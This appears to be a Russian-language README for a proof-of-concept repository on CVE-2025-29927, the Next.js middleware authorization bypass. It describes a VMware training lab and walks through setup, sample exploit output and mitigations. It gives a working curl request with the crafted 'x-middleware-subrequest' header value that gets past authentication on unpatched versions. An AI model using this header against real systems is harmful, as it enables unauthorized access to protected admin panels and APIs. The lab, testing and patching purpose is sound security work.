
Доказательство концепции эксплуатации CVE-2025-29927 — обход авторизации в промежуточном ПО Next.js. Включает уязвимую тестовую лабораторию и Python-скрипт для проверки обхода путём отправки специально сформированных заголовков x-middleware-subrequest.
Небольшой GitHub-проект для проверки CVE-2025-29927 (обход авторизации в Next.js Middleware) на локальном учебном полигоне (VMware: Ubuntu-цель + Kali-атакующий).
⚠️ Дисклеймер: Проект предназначен исключительно для образовательных целей, CTF и полигонов, которыми вы владеете или на которые у вас есть явное разрешение. Запрещено использовать против любых систем без авторизации. Ответственность за последствия неправомерного использования лежит на пользователе.
| Параметр | Значение |
|---|---|
| CVE | CVE-2025-29927 |
| Дата публикации | 2025-03-25 (официальный бюллетень безопасности Next.js) |
| Затронутый компонент | Vercel Next.js (полнофункциональный Node.js фреймворк) |
| Тип уязвимости | Обход авторизации / Improper Authorization (CWE-863) |
| Затронутые версии | < 12.3.5, < 13.5.9, < 14.2.25, < 15.2.3 |
| Исправленные версии | 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3 и выше |
| Уровень опасности | Critical / Высокий (точный балл см. на странице NVD) |
После появления уязвимости в большом количестве производственных сред были обойдены админ-панели, платёжные колбэки и внутренние API. Модули обнаружения включены в Metasploit и ProjectDiscovery Nuclei — это одна из самых показательных «фреймворковых» уязвимостей обхода авторизации 2025 года.
Next.js позволяет размещать «логику аутентификации» в middleware (промежуточном ПО), например:
export function middleware(request) {
if (!isLogin(request)) return NextResponse.redirect("/login"); // Не авторизован → блокируем
return NextResponse.next();
}
Проблема в том, что Next.js внутренне полагается на заголовок запроса, который клиент может подделать, чтобы определить, «выполнялось ли уже middleware для этого запроса»:
x-middleware-subrequest: middleware
В затронутых версиях, если внешний запрос содержит этот внутренний заголовок, Next.js ошибочно считает, что middleware уже отработало, и вся аутентифицирующая middleware пропускается. Атакующему не нужна учётная запись — достаточно добавить этот заголовок к запросу на /admin или другой защищённый маршрут, чтобы получить ответ 200 напрямую. При этом сама страница обычно доверяет middleware и не выполняет повторную проверку — проверка авторизации полностью теряет силу (ошибка границ доверия).
💡 Наиболее универсальное значение, используемое в публичных эксплойтах, — это повторяющаяся конкатенация пути middleware, например
middleware:middleware:middleware:middleware:middleware; одиночное значениеmiddlewareне срабатывает в некоторых версиях/структурах каталогов (проверено на 14.2.24 в этом полигоне). Данный PoC перебирает несколько значений-кандидатов; успех при любом из них означает обход.
CVE-2025-29927-PoC/
├── README.md # Этот документ (описание уязвимости + руководство по полигону VMware)
├── LICENSE # MIT
├── .gitignore
├── exploit.py # ★ PoC на Python3 только со стандартной библиотекой (запуск на Kali/любой машине)
├── target/ # ★ Самодельный уязвимый полигон (скопировать на Ubuntu-цель)
│ ├── package.json # Фиксация [email protected] (затронутая версия)
│ ├── middleware.js # Имитация реального производственного «аутентифицирующего middleware»
│ ├── pages/
│ │ ├── index.js # Главная страница
│ │ ├── login.js # Страница входа (демонстрация перенаправления сюда)
│ │ └── admin.js # ★ Защищённая админ-панель, на сервере читает flag.txt
│ ├── flag.txt # Флаг полигона: FLAG{...}
│ ├── setup.sh # Одношаговая установка Node 20 + npm install + build на цели
│ └── start.sh # Запуск в production-режиме, прослушивание 0.0.0.0:3000
└── tests/
└── mock_target.py # Имитация цели без Node (только для разработки/самопроверки)
┌───────────────────────────────────────────────────────────┐
│ VMware Workstation Pro 17 (хост: Windows) │
│ Сеть: NAT (по умолчанию VMnet8), обе ВМ в одной подсети, │
│ пингуют друг друга │
│ │
│ ┌──────────────────┐ ┌─────────────────────┐ │
│ │ Цель Ubuntu 24.04 │ │ Атакующий Kali Linux│ │
│ │ │ http │ │ │
│ │ Node 20 + Next │◄───────│ python3 exploit.py │ │
│ │ 14.2.24 :3000 │ GET │ │ │
│ └──────────────────┘ └─────────────────────┘ │
│ IP: <TARGET_IP> IP: <ATTACKER_IP> │
└───────────────────────────────────────────────────────────┘
| Назначение | Образ/ПО | Рекомендуемая версия |
|---|---|---|
| ПО для виртуализации | VMware Workstation Pro 17 (бесплатно для личного использования) | 17.x |
| Образ цели | Ubuntu Server LTS ISO | 24.04.x |
| Атакующая машина | Kali Linux (официальный предустановленный образ VMware или установка с ISO) | 2025.x |
| (Опционально) | Хост: от 8 ГБ ОЗУ, от 50 ГБ диска | — |
Все следующие шаги выполняются на Ubuntu-цели.
# Способ A: запушить проект в свой GitHub и склонировать (рекомендуется; используйте этот способ, если планируете публиковать на GitHub)
git clone https://github.com/<ваш_username>/CVE-2025-29927-PoC.git
cd CVE-2025-29927-PoC
# Способ B: скопировать с хоста по scp
# scp -r CVE-2025-29927-PoC ubuntu@<TARGET_IP>:~/
cd CVE-2025-29927-PoC/target
sudo bash setup.sh # Установка Node 20(LTS) + npm install + next build
Что делает setup.sh: обновление apt → установка curl/CA/инструментов сборки → установка Node.js 20 LTS через NodeSource → npm install (загрузка зависимостей, включая [email protected]) → npm run build.
bash start.sh
# Успех, если видно "▲ Next.js 14.2.24" и "Local: http://0.0.0.0:3000"
В отдельном терминале сначала выполните локальный смоук-тест:
curl -s http://127.0.0.1:3000 # Главная страница, 200
curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1:3000/admin
# Ожидается 307 — без cookie запрос перехвачен middleware (авторизация работает нормально)
curl -s http://127.0.0.1:3000/admin # В теле ответа — содержимое страницы входа после редиректа
Файрвол цели по умолчанию не блокирует входящие подключения; если включён ufw:
sudo ufw allow 3000/tcp.
sudo apt update
python3 --version # В Kali уже есть Python3, дополнительные зависимости не нужны (PoC на чистой стандартной библиотеке)
ip -4 addr show # Запишите IP Kali (например, 192.168.x.xxx)
Скопируйте exploit.py на Kali (склонируйте репозиторий ещё раз или скопируйте один файл по scp), затем убедитесь, что обе ВМ видят друг друга:
ping <TARGET_IP> # Если проходит ↓
curl -s -o /dev/null -w "%{http_code}\n" http://<TARGET_IP>:3000 # Должно вывести 200
Выполните на Kali (атакующая машина):
python3 exploit.py -u http://<TARGET_IP>:3000
[1/3] Базовое зондирование GET /admin (без специальных заголовков)
└─ Код 307 —— перехвачен middleware штатно ✓ (среда уязвимости готова)
[2/3] Попытка обхода x-middleware-subrequest: <перебор значений-кандидатов>
└─ Значение='middleware:middleware:middleware:middleware:middleware' код 200 —— обход успешен! Middleware пропущено ✓
[3/3] Извлечение результата
└─ Админ-панель прочитала серверный flag.txt:
FLAG{cve-2025-29927-lab-ok}
[+] Вывод: VULNERABLE —— обход авторизации CVE-2025-29927 подтверждён
Ключевой вывод: один и тот же URL без специального заголовка перехватывается с кодом 307, а с заголовком x-middleware-subrequest отдаёт 200 и открывает админ-панель — полный цикл проверки «обхода аутентифицирующего middleware».
# ① Базовый запрос: должен вернуть 307 (редирект на /login)
curl -i http://<TARGET_IP>:3000/admin | head -n 10
# ② Эксплуатация: должен вернуть 200 и содержать FLAG{...}
curl -i -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
http://<TARGET_IP>:3000/admin | head -n 30
📌 Примечание из практики: в этом полигоне (Next 14.2.24 +
middleware.jsв корне) работает значение из 5 частейmiddleware:middleware:middleware:middleware:middleware; одиночноеmiddlewareне срабатывает. При ручной проверке curl используйте указанное выше значение из 5 частей; если не уверены — запуститеexploit.py(он автоматически перебирает значения-кандидаты).
usage: exploit.py [-h] -u URL [--path PATH] [--timeout SECONDS]
[--delay SECONDS] [--insecure] [--verbose]
-u, --url URL Целевой адрес, например http://192.168.162.10:3000
--path PATH Защищённый путь, по умолчанию /admin
--timeout SECONDS Таймаут одного запроса, по умолчанию 10
--delay SECONDS Интервал между перебором значений заголовка, по умолчанию 0
--insecure Пропустить проверку сертификата HTTPS
--verbose Выводить код ответа для каждого заголовка-кандидата (для отладки)
Коды выхода: 0 = уязвимость подтверждена; 1 = цель не затронута/все запросы не удались; 2 = ошибка параметров или окружения
Если нет VMware или не хочется сразу ставить Node, можно сначала прогнать логику PoC на встроенной имитации цели (нужен только Python3 на хосте; имитируется поведение «307 при перехвате / 200 со специальным заголовком»):
# Терминал 1: запуск имитации цели (прослушивание 127.0.0.1:8123)
python3 tests/mock_target.py
# Терминал 2: проверка
python3 exploit.py -u http://127.0.0.1:8123
# Ожидается такой же вывод VULNERABLE и FLAG{mock-bypass-ok}
Внимание: имитатор предназначен только для самопроверки логики скрипта; официальную проверку обязательно проводите на реальном полигоне из разделов 5 и 6.
npm i [email protected] (или 15.2.3+ / соответствующую новую версию), пересоберите и задеплойте;getServerSideProps / Route Handler / бэкенд-API;x-middleware-subrequest.# Официальный шаблон Nuclei
nuclei -u http://<TARGET_IP>:3000 -t http/cves/2025/CVE-2025-29927.yaml
После обновления повторно запустите этот PoC — он должен вывести «цель не затронута». Это и есть способ приёмки: сравнение до и после исправления.
| Симптом | Причина / Решение |
|---|---|
next start сообщает, что порт занят | lsof -i :3000 — найти процесс, занимающий порт, или использовать -p 3001 |
curl http://<TARGET_IP>:3000 не работает | Обе ВМ не в одной NAT-подсети; проверьте, что сетевые адаптеры VMware обеих ВМ в режиме NAT, подтвердите подсеть через ip a |
Базовый запрос к /admin уже даёт 200 | Middleware не работает: убедитесь, что middleware.js находится в корне target/ и что setup.sh выполнил сборку успешно |
| После попытки обхода всё равно 307 | В разных версиях/структурах каталогов рабочие значения различаются: сначала запустите python3 exploit.py --verbose и посмотрите результаты перебора; при ручной проверке curl используйте значение из 5 частей middleware:middleware:middleware:middleware:middleware |
| Kali не может пропинговать Ubuntu | При VMware NAT они по умолчанию видят друг друга; если не работает — проверьте файрволы обеих машин и восстановите из снапшота |
| Хочу проверить другую версию Next | Измените версию next в target/package.json и заново выполните npm install && npm run build |